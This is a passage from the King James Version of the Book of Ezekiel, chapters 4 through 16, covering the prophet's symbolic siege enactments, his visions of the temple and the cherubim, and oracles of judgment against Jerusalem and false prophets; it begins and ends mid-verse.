+thou bear the iniquity of the house of Israel. + +4:6 And when thou hast accomplished them, lie again on thy right side, +and thou shalt bear the iniquity of the house of Judah forty days: I +have appointed thee each day for a year. + +4:7 Therefore thou shalt set thy face toward the siege of Jerusalem, +and thine arm shall be uncovered, and thou shalt prophesy against it. + +4:8 And, behold, I will lay bands upon thee, and thou shalt not turn +thee from one side to another, till thou hast ended the days of thy +siege. + +4:9 Take thou also unto thee wheat, and barley, and beans, and +lentiles, and millet, and fitches, and put them in one vessel, and +make thee bread thereof, according to the number of the days that thou +shalt lie upon thy side, three hundred and ninety days shalt thou eat +thereof. + +4:10 And thy meat which thou shalt eat shall be by weight, twenty +shekels a day: from time to time shalt thou eat it. + +4:11 Thou shalt drink also water by measure, the sixth part of an hin: +from time to time shalt thou drink. + +4:12 And thou shalt eat it as barley cakes, and thou shalt bake it +with dung that cometh out of man, in their sight. + +4:13 And the LORD said, Even thus shall the children of Israel eat +their defiled bread among the Gentiles, whither I will drive them. + +4:14 Then said I, Ah Lord GOD! behold, my soul hath not been polluted: +for from my youth up even till now have I not eaten of that which +dieth of itself, or is torn in pieces; neither came there abominable +flesh into my mouth. + +4:15 Then he said unto me, Lo, I have given thee cow's dung for man's +dung, and thou shalt prepare thy bread therewith. + +4:16 Moreover he said unto me, Son of man, behold, I will break the +staff of bread in Jerusalem: and they shall eat bread by weight, and +with care; and they shall drink water by measure, and with +astonishment: 4:17 That they may want bread and water, and be astonied +one with another, and consume away for their iniquity. + +5:1 And thou, son of man, take thee a sharp knife, take thee a +barber's razor, and cause it to pass upon thine head and upon thy +beard: then take thee balances to weigh, and divide the hair. + +5:2 Thou shalt burn with fire a third part in the midst of the city, +when the days of the siege are fulfilled: and thou shalt take a third +part, and smite about it with a knife: and a third part thou shalt +scatter in the wind; and I will draw out a sword after them. + +5:3 Thou shalt also take thereof a few in number, and bind them in thy +skirts. + +5:4 Then take of them again, and cast them into the midst of the fire, +and burn them in the fire; for thereof shall a fire come forth into +all the house of Israel. + +5:5 Thus saith the Lord GOD; This is Jerusalem: I have set it in the +midst of the nations and countries that are round about her. + +5:6 And she hath changed my judgments into wickedness more than the +nations, and my statutes more than the countries that are round about +her: for they have refused my judgments and my statutes, they have not +walked in them. + +5:7 Therefore thus saith the Lord GOD; Because ye multiplied more than +the nations that are round about you, and have not walked in my +statutes, neither have kept my judgments, neither have done according +to the judgments of the nations that are round about you; 5:8 +Therefore thus saith the Lord GOD; Behold, I, even I, am against thee, +and will execute judgments in the midst of thee in the sight of the +nations. + +5:9 And I will do in thee that which I have not done, and whereunto I +will not do any more the like, because of all thine abominations. + +5:10 Therefore the fathers shall eat the sons in the midst of thee, +and the sons shall eat their fathers; and I will execute judgments in +thee, and the whole remnant of thee will I scatter into all the winds. + +5:11 Wherefore, as I live, saith the Lord GOD; Surely, because thou +hast defiled my sanctuary with all thy detestable things, and with all +thine abominations, therefore will I also diminish thee; neither shall +mine eye spare, neither will I have any pity. + +5:12 A third part of thee shall die with the pestilence, and with +famine shall they be consumed in the midst of thee: and a third part +shall fall by the sword round about thee; and I will scatter a third +part into all the winds, and I will draw out a sword after them. + +5:13 Thus shall mine anger be accomplished, and I will cause my fury +to rest upon them, and I will be comforted: and they shall know that I +the LORD have spoken it in my zeal, when I have accomplished my fury +in them. + +5:14 Moreover I will make thee waste, and a reproach among the nations +that are round about thee, in the sight of all that pass by. + +5:15 So it shall be a reproach and a taunt, an instruction and an +astonishment unto the nations that are round about thee, when I shall +execute judgments in thee in anger and in fury and in furious rebukes. +I the LORD have spoken it. + +5:16 When I shall send upon them the evil arrows of famine, which +shall be for their destruction, and which I will send to destroy you: +and I will increase the famine upon you, and will break your staff of +bread: 5:17 So will I send upon you famine and evil beasts, and they +shall bereave thee: and pestilence and blood shall pass through thee; +and I will bring the sword upon thee. I the LORD have spoken it. + +6:1 And the word of the LORD came unto me, saying, 6:2 Son of man, set +thy face toward the mountains of Israel, and prophesy against them, +6:3 And say, Ye mountains of Israel, hear the word of the Lord GOD; +Thus saith the Lord GOD to the mountains, and to the hills, to the +rivers, and to the valleys; Behold, I, even I, will bring a sword upon +you, and I will destroy your high places. + +6:4 And your altars shall be desolate, and your images shall be +broken: and I will cast down your slain men before your idols. + +6:5 And I will lay the dead carcases of the children of Israel before +their idols; and I will scatter your bones round about your altars. + +6:6 In all your dwellingplaces the cities shall be laid waste, and the +high places shall be desolate; that your altars may be laid waste and +made desolate, and your idols may be broken and cease, and your images +may be cut down, and your works may be abolished. + +6:7 And the slain shall fall in the midst of you, and ye shall know +that I am the LORD. + +6:8 Yet will I leave a remnant, that ye may have some that shall +escape the sword among the nations, when ye shall be scattered through +the countries. + +6:9 And they that escape of you shall remember me among the nations +whither they shall be carried captives, because I am broken with their +whorish heart, which hath departed from me, and with their eyes, which +go a whoring after their idols: and they shall lothe themselves for +the evils which they have committed in all their abominations. + +6:10 And they shall know that I am the LORD, and that I have not said +in vain that I would do this evil unto them. + +6:11 Thus saith the Lord GOD; Smite with thine hand, and stamp with +thy foot, and say, Alas for all the evil abominations of the house of +Israel! for they shall fall by the sword, by the famine, and by the +pestilence. + +6:12 He that is far off shall die of the pestilence; and he that is +near shall fall by the sword; and he that remaineth and is besieged +shall die by the famine: thus will I accomplish my fury upon them. + +6:13 Then shall ye know that I am the LORD, when their slain men shall +be among their idols round about their altars, upon every high hill, +in all the tops of the mountains, and under every green tree, and +under every thick oak, the place where they did offer sweet savour to +all their idols. + +6:14 So will I stretch out my hand upon them, and make the land +desolate, yea, more desolate than the wilderness toward Diblath, in +all their habitations: and they shall know that I am the LORD. + +7:1 Moreover the word of the LORD came unto me, saying, 7:2 Also, thou +son of man, thus saith the Lord GOD unto the land of Israel; An end, +the end is come upon the four corners of the land. + +7:3 Now is the end come upon thee, and I will send mine anger upon +thee, and will judge thee according to thy ways, and will recompense +upon thee all thine abominations. + +7:4 And mine eye shall not spare thee, neither will I have pity: but I +will recompense thy ways upon thee, and thine abominations shall be in +the midst of thee: and ye shall know that I am the LORD. + +7:5 Thus saith the Lord GOD; An evil, an only evil, behold, is come. + +7:6 An end is come, the end is come: it watcheth for thee; behold, it +is come. + +7:7 The morning is come unto thee, O thou that dwellest in the land: +the time is come, the day of trouble is near, and not the sounding +again of the mountains. + +7:8 Now will I shortly pour out my fury upon thee, and accomplish mine +anger upon thee: and I will judge thee according to thy ways, and will +recompense thee for all thine abominations. + +7:9 And mine eye shall not spare, neither will I have pity: I will +recompense thee according to thy ways and thine abominations that are +in the midst of thee; and ye shall know that I am the LORD that +smiteth. + +7:10 Behold the day, behold, it is come: the morning is gone forth; +the rod hath blossomed, pride hath budded. + +7:11 Violence is risen up into a rod of wickedness: none of them shall +remain, nor of their multitude, nor of any of their's: neither shall +there be wailing for them. + +7:12 The time is come, the day draweth near: let not the buyer +rejoice, nor the seller mourn: for wrath is upon all the multitude +thereof. + +7:13 For the seller shall not return to that which is sold, although +they were yet alive: for the vision is touching the whole multitude +thereof, which shall not return; neither shall any strengthen himself +in the iniquity of his life. + +7:14 They have blown the trumpet, even to make all ready; but none +goeth to the battle: for my wrath is upon all the multitude thereof. + +7:15 The sword is without, and the pestilence and the famine within: +he that is in the field shall die with the sword; and he that is in +the city, famine and pestilence shall devour him. + +7:16 But they that escape of them shall escape, and shall be on the +mountains like doves of the valleys, all of them mourning, every one +for his iniquity. + +7:17 All hands shall be feeble, and all knees shall be weak as water. + +7:18 They shall also gird themselves with sackcloth, and horror shall +cover them; and shame shall be upon all faces, and baldness upon all +their heads. + +7:19 They shall cast their silver in the streets, and their gold shall +be removed: their silver and their gold shall not be able to deliver +them in the day of the wrath of the LORD: they shall not satisfy their +souls, neither fill their bowels: because it is the stumblingblock of +their iniquity. + +7:20 As for the beauty of his ornament, he set it in majesty: but they +made the images of their abominations and of their detestable things +therein: therefore have I set it far from them. + +7:21 And I will give it into the hands of the strangers for a prey, +and to the wicked of the earth for a spoil; and they shall pollute it. + +7:22 My face will I turn also from them, and they shall pollute my +secret place: for the robbers shall enter into it, and defile it. + +7:23 Make a chain: for the land is full of bloody crimes, and the city +is full of violence. + +7:24 Wherefore I will bring the worst of the heathen, and they shall +possess their houses: I will also make the pomp of the strong to +cease; and their holy places shall be defiled. + +7:25 Destruction cometh; and they shall seek peace, and there shall be +none. + +7:26 Mischief shall come upon mischief, and rumour shall be upon +rumour; then shall they seek a vision of the prophet; but the law +shall perish from the priest, and counsel from the ancients. + +7:27 The king shall mourn, and the prince shall be clothed with +desolation, and the hands of the people of the land shall be troubled: +I will do unto them after their way, and according to their deserts +will I judge them; and they shall know that I am the LORD. + +8:1 And it came to pass in the sixth year, in the sixth month, in the +fifth day of the month, as I sat in mine house, and the elders of +Judah sat before me, that the hand of the Lord GOD fell there upon me. + +8:2 Then I beheld, and lo a likeness as the appearance of fire: from +the appearance of his loins even downward, fire; and from his loins +even upward, as the appearance of brightness, as the colour of amber. + +8:3 And he put forth the form of an hand, and took me by a lock of +mine head; and the spirit lifted me up between the earth and the +heaven, and brought me in the visions of God to Jerusalem, to the door +of the inner gate that looketh toward the north; where was the seat of +the image of jealousy, which provoketh to jealousy. + +8:4 And, behold, the glory of the God of Israel was there, according +to the vision that I saw in the plain. + +8:5 Then said he unto me, Son of man, lift up thine eyes now the way +toward the north. So I lifted up mine eyes the way toward the north, +and behold northward at the gate of the altar this image of jealousy +in the entry. + +8:6 He said furthermore unto me, Son of man, seest thou what they do? +even the great abominations that the house of Israel committeth here, +that I should go far off from my sanctuary? but turn thee yet again, +and thou shalt see greater abominations. + +8:7 And he brought me to the door of the court; and when I looked, +behold a hole in the wall. + +8:8 Then said he unto me, Son of man, dig now in the wall: and when I +had digged in the wall, behold a door. + +8:9 And he said unto me, Go in, and behold the wicked abominations +that they do here. + +8:10 So I went in and saw; and behold every form of creeping things, +and abominable beasts, and all the idols of the house of Israel, +pourtrayed upon the wall round about. + +8:11 And there stood before them seventy men of the ancients of the +house of Israel, and in the midst of them stood Jaazaniah the son of +Shaphan, with every man his censer in his hand; and a thick cloud of +incense went up. + +8:12 Then said he unto me, Son of man, hast thou seen what the +ancients of the house of Israel do in the dark, every man in the +chambers of his imagery? for they say, the LORD seeth us not; the LORD +hath forsaken the earth. + +8:13 He said also unto me, Turn thee yet again, and thou shalt see +greater abominations that they do. + +8:14 Then he brought me to the door of the gate of the LORD's house +which was toward the north; and, behold, there sat women weeping for +Tammuz. + +8:15 Then said he unto me, Hast thou seen this, O son of man? turn +thee yet again, and thou shalt see greater abominations than these. + +8:16 And he brought me into the inner court of the LORD's house, and, +behold, at the door of the temple of the LORD, between the porch and +the altar, were about five and twenty men, with their backs toward the +temple of the LORD, and their faces toward the east; and they +worshipped the sun toward the east. + +8:17 Then he said unto me, Hast thou seen this, O son of man? Is it a +light thing to the house of Judah that they commit the abominations +which they commit here? for they have filled the land with violence, +and have returned to provoke me to anger: and, lo, they put the branch +to their nose. + +8:18 Therefore will I also deal in fury: mine eye shall not spare, +neither will I have pity: and though they cry in mine ears with a loud +voice, yet will I not hear them. + +9:1 He cried also in mine ears with a loud voice, saying, Cause them +that have charge over the city to draw near, even every man with his +destroying weapon in his hand. + +9:2 And, behold, six men came from the way of the higher gate, which +lieth toward the north, and every man a slaughter weapon in his hand; +and one man among them was clothed with linen, with a writer's inkhorn +by his side: and they went in, and stood beside the brasen altar. + +9:3 And the glory of the God of Israel was gone up from the cherub, +whereupon he was, to the threshold of the house. And he called to the +man clothed with linen, which had the writer's inkhorn by his side; +9:4 And the LORD said unto him, Go through the midst of the city, +through the midst of Jerusalem, and set a mark upon the foreheads of +the men that sigh and that cry for all the abominations that be done +in the midst thereof. + +9:5 And to the others he said in mine hearing, Go ye after him through +the city, and smite: let not your eye spare, neither have ye pity: 9:6 +Slay utterly old and young, both maids, and little children, and +women: but come not near any man upon whom is the mark; and begin at +my sanctuary. Then they began at the ancient men which were before the +house. + +9:7 And he said unto them, Defile the house, and fill the courts with +the slain: go ye forth. And they went forth, and slew in the city. + +9:8 And it came to pass, while they were slaying them, and I was left, +that I fell upon my face, and cried, and said, Ah Lord GOD! wilt thou +destroy all the residue of Israel in thy pouring out of thy fury upon +Jerusalem? 9:9 Then said he unto me, The iniquity of the house of +Israel and Judah is exceeding great, and the land is full of blood, +and the city full of perverseness: for they say, The LORD hath +forsaken the earth, and the LORD seeth not. + +9:10 And as for me also, mine eye shall not spare, neither will I have +pity, but I will recompense their way upon their head. + +9:11 And, behold, the man clothed with linen, which had the inkhorn by +his side, reported the matter, saying, I have done as thou hast +commanded me. + +10:1 Then I looked, and, behold, in the firmament that was above the +head of the cherubims there appeared over them as it were a sapphire +stone, as the appearance of the likeness of a throne. + +10:2 And he spake unto the man clothed with linen, and said, Go in +between the wheels, even under the cherub, and fill thine hand with +coals of fire from between the cherubims, and scatter them over the +city. And he went in in my sight. + +10:3 Now the cherubims stood on the right side of the house, when the +man went in; and the cloud filled the inner court. + +10:4 Then the glory of the LORD went up from the cherub, and stood +over the threshold of the house; and the house was filled with the +cloud, and the court was full of the brightness of the LORD's glory. + +10:5 And the sound of the cherubims' wings was heard even to the outer +court, as the voice of the Almighty God when he speaketh. + +10:6 And it came to pass, that when he had commanded the man clothed +with linen, saying, Take fire from between the wheels, from between +the cherubims; then he went in, and stood beside the wheels. + +10:7 And one cherub stretched forth his hand from between the +cherubims unto the fire that was between the cherubims, and took +thereof, and put it into the hands of him that was clothed with linen: +who took it, and went out. + +10:8 And there appeared in the cherubims the form of a man's hand +under their wings. + +10:9 And when I looked, behold the four wheels by the cherubims, one +wheel by one cherub, and another wheel by another cherub: and the +appearance of the wheels was as the colour of a beryl stone. + +10:10 And as for their appearances, they four had one likeness, as if +a wheel had been in the midst of a wheel. + +10:11 When they went, they went upon their four sides; they turned not +as they went, but to the place whither the head looked they followed +it; they turned not as they went. + +10:12 And their whole body, and their backs, and their hands, and +their wings, and the wheels, were full of eyes round about, even the +wheels that they four had. + +10:13 As for the wheels, it was cried unto them in my hearing, O +wheel. + +10:14 And every one had four faces: the first face was the face of a +cherub, and the second face was the face of a man, and the third the +face of a lion, and the fourth the face of an eagle. + +10:15 And the cherubims were lifted up. This is the living creature +that I saw by the river of Chebar. + +10:16 And when the cherubims went, the wheels went by them: and when +the cherubims lifted up their wings to mount up from the earth, the +same wheels also turned not from beside them. + +10:17 When they stood, these stood; and when they were lifted up, +these lifted up themselves also: for the spirit of the living creature +was in them. + +10:18 Then the glory of the LORD departed from off the threshold of +the house, and stood over the cherubims. + +10:19 And the cherubims lifted up their wings, and mounted up from the +earth in my sight: when they went out, the wheels also were beside +them, and every one stood at the door of the east gate of the LORD's +house; and the glory of the God of Israel was over them above. + +10:20 This is the living creature that I saw under the God of Israel +by the river of Chebar; and I knew that they were the cherubims. + +10:21 Every one had four faces apiece, and every one four wings; and +the likeness of the hands of a man was under their wings. + +10:22 And the likeness of their faces was the same faces which I saw +by the river of Chebar, their appearances and themselves: they went +every one straight forward. + +11:1 Moreover the spirit lifted me up, and brought me unto the east +gate of the LORD's house, which looketh eastward: and behold at the +door of the gate five and twenty men; among whom I saw Jaazaniah the +son of Azur, and Pelatiah the son of Benaiah, princes of the people. + +11:2 Then said he unto me, Son of man, these are the men that devise +mischief, and give wicked counsel in this city: 11:3 Which say, It is +not near; let us build houses: this city is the caldron, and we be the +flesh. + +11:4 Therefore prophesy against them, prophesy, O son of man. + +11:5 And the Spirit of the LORD fell upon me, and said unto me, Speak; +Thus saith the LORD; Thus have ye said, O house of Israel: for I know +the things that come into your mind, every one of them. + +11:6 Ye have multiplied your slain in this city, and ye have filled +the streets thereof with the slain. + +11:7 Therefore thus saith the Lord GOD; Your slain whom ye have laid +in the midst of it, they are the flesh, and this city is the caldron: +but I will bring you forth out of the midst of it. + +11:8 Ye have feared the sword; and I will bring a sword upon you, +saith the Lord GOD. + +11:9 And I will bring you out of the midst thereof, and deliver you +into the hands of strangers, and will execute judgments among you. + +11:10 Ye shall fall by the sword; I will judge you in the border of +Israel; and ye shall know that I am the LORD. + +11:11 This city shall not be your caldron, neither shall ye be the +flesh in the midst thereof; but I will judge you in the border of +Israel: 11:12 And ye shall know that I am the LORD: for ye have not +walked in my statutes, neither executed my judgments, but have done +after the manners of the heathen that are round about you. + +11:13 And it came to pass, when I prophesied, that Pelatiah the son of +Benaiah died. Then fell I down upon my face, and cried with a loud +voice, and said, Ah Lord GOD! wilt thou make a full end of the remnant +of Israel? 11:14 Again the word of the LORD came unto me, saying, +11:15 Son of man, thy brethren, even thy brethren, the men of thy +kindred, and all the house of Israel wholly, are they unto whom the +inhabitants of Jerusalem have said, Get you far from the LORD: unto us +is this land given in possession. + +11:16 Therefore say, Thus saith the Lord GOD; Although I have cast +them far off among the heathen, and although I have scattered them +among the countries, yet will I be to them as a little sanctuary in +the countries where they shall come. + +11:17 Therefore say, Thus saith the Lord GOD; I will even gather you +from the people, and assemble you out of the countries where ye have +been scattered, and I will give you the land of Israel. + +11:18 And they shall come thither, and they shall take away all the +detestable things thereof and all the abominations thereof from +thence. + +11:19 And I will give them one heart, and I will put a new spirit +within you; and I will take the stony heart out of their flesh, and +will give them an heart of flesh: 11:20 That they may walk in my +statutes, and keep mine ordinances, and do them: and they shall be my +people, and I will be their God. + +11:21 But as for them whose heart walketh after the heart of their +detestable things and their abominations, I will recompense their way +upon their own heads, saith the Lord GOD. + +11:22 Then did the cherubims lift up their wings, and the wheels +beside them; and the glory of the God of Israel was over them above. + +11:23 And the glory of the LORD went up from the midst of the city, +and stood upon the mountain which is on the east side of the city. + +11:24 Afterwards the spirit took me up, and brought me in a vision by +the Spirit of God into Chaldea, to them of the captivity. So the +vision that I had seen went up from me. + +11:25 Then I spake unto them of the captivity all the things that the +LORD had shewed me. + +12:1 The word of the LORD also came unto me, saying, 12:2 Son of man, +thou dwellest in the midst of a rebellious house, which have eyes to +see, and see not; they have ears to hear, and hear not: for they are a +rebellious house. + +12:3 Therefore, thou son of man, prepare thee stuff for removing, and +remove by day in their sight; and thou shalt remove from thy place to +another place in their sight: it may be they will consider, though +they be a rebellious house. + +12:4 Then shalt thou bring forth thy stuff by day in their sight, as +stuff for removing: and thou shalt go forth at even in their sight, as +they that go forth into captivity. + +12:5 Dig thou through the wall in their sight, and carry out thereby. + +12:6 In their sight shalt thou bear it upon thy shoulders, and carry +it forth in the twilight: thou shalt cover thy face, that thou see not +the ground: for I have set thee for a sign unto the house of Israel. + +12:7 And I did so as I was commanded: I brought forth my stuff by day, +as stuff for captivity, and in the even I digged through the wall with +mine hand; I brought it forth in the twilight, and I bare it upon my +shoulder in their sight. + +12:8 And in the morning came the word of the LORD unto me, saying, +12:9 Son of man, hath not the house of Israel, the rebellious house, +said unto thee, What doest thou? 12:10 Say thou unto them, Thus saith +the Lord GOD; This burden concerneth the prince in Jerusalem, and all +the house of Israel that are among them. + +12:11 Say, I am your sign: like as I have done, so shall it be done +unto them: they shall remove and go into captivity. + +12:12 And the prince that is among them shall bear upon his shoulder +in the twilight, and shall go forth: they shall dig through the wall +to carry out thereby: he shall cover his face, that he see not the +ground with his eyes. + +12:13 My net also will I spread upon him, and he shall be taken in my +snare: and I will bring him to Babylon to the land of the Chaldeans; +yet shall he not see it, though he shall die there. + +12:14 And I will scatter toward every wind all that are about him to +help him, and all his bands; and I will draw out the sword after them. + +12:15 And they shall know that I am the LORD, when I shall scatter +them among the nations, and disperse them in the countries. + +12:16 But I will leave a few men of them from the sword, from the +famine, and from the pestilence; that they may declare all their +abominations among the heathen whither they come; and they shall know +that I am the LORD. + +12:17 Moreover the word of the LORD came to me, saying, 12:18 Son of +man, eat thy bread with quaking, and drink thy water with trembling +and with carefulness; 12:19 And say unto the people of the land, Thus +saith the Lord GOD of the inhabitants of Jerusalem, and of the land of +Israel; They shall eat their bread with carefulness, and drink their +water with astonishment, that her land may be desolate from all that +is therein, because of the violence of all them that dwell therein. + +12:20 And the cities that are inhabited shall be laid waste, and the +land shall be desolate; and ye shall know that I am the LORD. + +12:21 And the word of the LORD came unto me, saying, 12:22 Son of man, +what is that proverb that ye have in the land of Israel, saying, The +days are prolonged, and every vision faileth? 12:23 Tell them +therefore, Thus saith the Lord GOD; I will make this proverb to cease, +and they shall no more use it as a proverb in Israel; but say unto +them, The days are at hand, and the effect of every vision. + +12:24 For there shall be no more any vain vision nor flattering +divination within the house of Israel. + +12:25 For I am the LORD: I will speak, and the word that I shall speak +shall come to pass; it shall be no more prolonged: for in your days, O +rebellious house, will I say the word, and will perform it, saith the +Lord GOD. + +12:26 Again the word of the LORD came to me, saying. + +12:27 Son of man, behold, they of the house of Israel say, The vision +that he seeth is for many days to come, and he prophesieth of the +times that are far off. + +12:28 Therefore say unto them, Thus saith the Lord GOD; There shall +none of my words be prolonged any more, but the word which I have +spoken shall be done, saith the Lord GOD. + +13:1 And the word of the LORD came unto me, saying, 13:2 Son of man, +prophesy against the prophets of Israel that prophesy, and say thou +unto them that prophesy out of their own hearts, Hear ye the word of +the LORD; 13:3 Thus saith the Lord GOD; Woe unto the foolish prophets, +that follow their own spirit, and have seen nothing! 13:4 O Israel, +thy prophets are like the foxes in the deserts. + +13:5 Ye have not gone up into the gaps, neither made up the hedge for +the house of Israel to stand in the battle in the day of the LORD. + +13:6 They have seen vanity and lying divination, saying, The LORD +saith: and the LORD hath not sent them: and they have made others to +hope that they would confirm the word. + +13:7 Have ye not seen a vain vision, and have ye not spoken a lying +divination, whereas ye say, The LORD saith it; albeit I have not +spoken? 13:8 Therefore thus saith the Lord GOD; Because ye have +spoken vanity, and seen lies, therefore, behold, I am against you, +saith the Lord GOD. + +13:9 And mine hand shall be upon the prophets that see vanity, and +that divine lies: they shall not be in the assembly of my people, +neither shall they be written in the writing of the house of Israel, +neither shall they enter into the land of Israel; and ye shall know +that I am the Lord GOD. + +13:10 Because, even because they have seduced my people, saying, +Peace; and there was no peace; and one built up a wall, and, lo, +others daubed it with untempered morter: 13:11 Say unto them which +daub it with untempered morter, that it shall fall: there shall be an +overflowing shower; and ye, O great hailstones, shall fall; and a +stormy wind shall rend it. + +13:12 Lo, when the wall is fallen, shall it not be said unto you, +Where is the daubing wherewith ye have daubed it? 13:13 Therefore +thus saith the Lord GOD; I will even rend it with a stormy wind in my +fury; and there shall be an overflowing shower in mine anger, and +great hailstones in my fury to consume it. + +13:14 So will I break down the wall that ye have daubed with +untempered morter, and bring it down to the ground, so that the +foundation thereof shall be discovered, and it shall fall, and ye +shall be consumed in the midst thereof: and ye shall know that I am +the LORD. + +13:15 Thus will I accomplish my wrath upon the wall, and upon them +that have daubed it with untempered morter, and will say unto you, The +wall is no more, neither they that daubed it; 13:16 To wit, the +prophets of Israel which prophesy concerning Jerusalem, and which see +visions of peace for her, and there is no peace, saith the Lord GOD. + +13:17 Likewise, thou son of man, set thy face against the daughters of +thy people, which prophesy out of their own heart; and prophesy thou +against them, 13:18 And say, Thus saith the Lord GOD; Woe to the women +that sew pillows to all armholes, and make kerchiefs upon the head of +every stature to hunt souls! Will ye hunt the souls of my people, and +will ye save the souls alive that come unto you? 13:19 And will ye +pollute me among my people for handfuls of barley and for pieces of +bread, to slay the souls that should not die, and to save the souls +alive that should not live, by your lying to my people that hear your +lies? 13:20 Wherefore thus saith the Lord GOD; Behold, I am against +your pillows, wherewith ye there hunt the souls to make them fly, and +I will tear them from your arms, and will let the souls go, even the +souls that ye hunt to make them fly. + +13:21 Your kerchiefs also will I tear, and deliver my people out of +your hand, and they shall be no more in your hand to be hunted; and ye +shall know that I am the LORD. + +13:22 Because with lies ye have made the heart of the righteous sad, +whom I have not made sad; and strengthened the hands of the wicked, +that he should not return from his wicked way, by promising him life: +13:23 Therefore ye shall see no more vanity, nor divine divinations: +for I will deliver my people out of your hand: and ye shall know that +I am the LORD. + +14:1 Then came certain of the elders of Israel unto me, and sat before +me. + +14:2 And the word of the LORD came unto me, saying, 14:3 Son of man, +these men have set up their idols in their heart, and put the +stumblingblock of their iniquity before their face: should I be +enquired of at all by them? 14:4 Therefore speak unto them, and say +unto them, Thus saith the Lord GOD; Every man of the house of Israel +that setteth up his idols in his heart, and putteth the stumblingblock +of his iniquity before his face, and cometh to the prophet; I the LORD +will answer him that cometh according to the multitude of his idols; +14:5 That I may take the house of Israel in their own heart, because +they are all estranged from me through their idols. + +14:6 Therefore say unto the house of Israel, Thus saith the Lord GOD; +Repent, and turn yourselves from your idols; and turn away your faces +from all your abominations. + +14:7 For every one of the house of Israel, or of the stranger that +sojourneth in Israel, which separateth himself from me, and setteth up +his idols in his heart, and putteth the stumblingblock of his iniquity +before his face, and cometh to a prophet to enquire of him concerning +me; I the LORD will answer him by myself: 14:8 And I will set my face +against that man, and will make him a sign and a proverb, and I will +cut him off from the midst of my people; and ye shall know that I am +the LORD. + +14:9 And if the prophet be deceived when he hath spoken a thing, I the +LORD have deceived that prophet, and I will stretch out my hand upon +him, and will destroy him from the midst of my people Israel. + +14:10 And they shall bear the punishment of their iniquity: the +punishment of the prophet shall be even as the punishment of him that +seeketh unto him; 14:11 That the house of Israel may go no more astray +from me, neither be polluted any more with all their transgressions; +but that they may be my people, and I may be their God, saith the Lord +GOD. + +14:12 The word of the LORD came again to me, saying, 14:13 Son of man, +when the land sinneth against me by trespassing grievously, then will +I stretch out mine hand upon it, and will break the staff of the bread +thereof, and will send famine upon it, and will cut off man and beast +from it: 14:14 Though these three men, Noah, Daniel, and Job, were in +it, they should deliver but their own souls by their righteousness, +saith the Lord GOD. + +14:15 If I cause noisome beasts to pass through the land, and they +spoil it, so that it be desolate, that no man may pass through because +of the beasts: 14:16 Though these three men were in it, as I live, +saith the Lord GOD, they shall deliver neither sons nor daughters; +they only shall be delivered, but the land shall be desolate. + +14:17 Or if I bring a sword upon that land, and say, Sword, go through +the land; so that I cut off man and beast from it: 14:18 Though these +three men were in it, as I live, saith the Lord GOD, they shall +deliver neither sons nor daughters, but they only shall be delivered +themselves. + +14:19 Or if I send a pestilence into that land, and pour out my fury +upon it in blood, to cut off from it man and beast: 14:20 Though Noah, +Daniel, and Job were in it, as I live, saith the Lord GOD, they shall +deliver neither son nor daughter; they shall but deliver their own +souls by their righteousness. + +14:21 For thus saith the Lord GOD; How much more when I send my four +sore judgments upon Jerusalem, the sword, and the famine, and the +noisome beast, and the pestilence, to cut off from it man and beast? +14:22 Yet, behold, therein shall be left a remnant that shall be +brought forth, both sons and daughters: behold, they shall come forth +unto you, and ye shall see their way and their doings: and ye shall be +comforted concerning the evil that I have brought upon Jerusalem, even +concerning all that I have brought upon it. + +14:23 And they shall comfort you, when ye see their ways and their +doings: and ye shall know that I have not done without cause all that +I have done in it, saith the Lord GOD. + +15:1 And the word of the LORD came unto me, saying, 15:2 Son of man, +what is the vine tree more than any tree, or than a branch which is +among the trees of the forest? 15:3 Shall wood be taken thereof to do +any work? or will men take a pin of it to hang any vessel thereon? +15:4 Behold, it is cast into the fire for fuel; the fire devoureth +both the ends of it, and the midst of it is burned. Is it meet for any +work? 15:5 Behold, when it was whole, it was meet for no work: how +much less shall it be meet yet for any work, when the fire hath +devoured it, and it is burned? 15:6 Therefore thus saith the Lord +GOD; As the vine tree among the trees of the forest, which I have +given to the fire for fuel, so will I give the inhabitants of +Jerusalem. + +15:7 And I will set my face against them; they shall go out from one +fire, and another fire shall devour them; and ye shall know that I am +the LORD, when I set my face against them. + +15:8 And I will make the land desolate, because they have committed a +trespass, saith the Lord GOD. + +16:1 Again the word of the LORD came unto me, saying, 16:2 Son of man, +cause Jerusalem to know her abominations, 16:3 And say, Thus saith the +Lord GOD unto Jerusalem; Thy birth and thy nativity is of the land of +Canaan; thy father was an Amorite, and thy mother an Hittite. + +16:4 And as for thy nativity, in the day thou wast born thy navel was +not cut, neither wast thou washed in water to supple thee; thou wast +not salted at all, nor swaddled at all. + +16:5 None eye pitied thee, to do any of these unto thee, to have +compassion upon thee; but thou wast cast out in the open field, to the +lothing of thy person, in the day that thou wast born. + +16:6 And when I passed by thee, and saw thee polluted in thine own +blood, I said unto thee when thou wast in thy blood, Live; yea, I said +unto thee when thou wast in thy blood, Live. + +16:7 I have caused thee to multiply as the bud of the field, and thou +hast increased and waxen great, and thou art come to excellent +ornaments: thy breasts are fashioned, and thine hair is grown, whereas +thou wast naked and bare. + +16:8 Now when I passed by thee, and looked upon thee, behold, thy time +was the time of love; and I spread my skirt over thee, and covered thy +nakedness: yea, I sware unto thee, and entered into a covenant with +thee, saith the Lord GOD, and thou becamest mine. + +16:9 Then washed I thee with water; yea, I throughly washed away thy +blood from thee, and I anointed thee with oil. + +16:10 I clothed thee also with broidered work, and shod thee with +badgers' skin, and I girded thee about with fine linen, and I covered +thee with silk. + +16:11 I decked thee also with ornaments, and I put bracelets upon thy +hands, and a chain on thy neck. + +16:12 And I put a jewel on thy forehead, and earrings in thine ears, +and a beautiful crown upon thine head. + +16:13 Thus wast thou decked with gold and silver; and thy raiment was +of fine linen, and silk, and broidered work; thou didst eat fine +flour, and honey, and oil: and thou wast exceeding beautiful, and thou +didst prosper into a kingdom. + +16:14 And thy renown went forth among the heathen for thy beauty: for +it was perfect through my comeliness, which I had put upon thee, saith +the Lord GOD. + +16:15 But thou didst trust in thine own beauty, and playedst the +harlot because of thy renown, and pouredst out thy fornications on +every one that passed by; his it was. + +16:16 And of thy garments thou didst take, and deckedst thy high +places with divers colours, and playedst the harlot thereupon: the +like things shall not come, neither shall it be so. + +16:17 Thou hast also taken thy fair jewels of my gold and of my +silver, which I had given thee, and madest to thyself images of men, +and didst commit whoredom with them, 16:18 And tookest thy broidered +garments, and coveredst them: and thou hast set mine oil and mine +incense before them. + +16:19 My meat also which I gave thee, fine flour, and oil, and honey, +wherewith I fed thee, thou hast even set it before them for a sweet +savour: and thus it was, saith the Lord GOD. + +16:20 Moreover thou 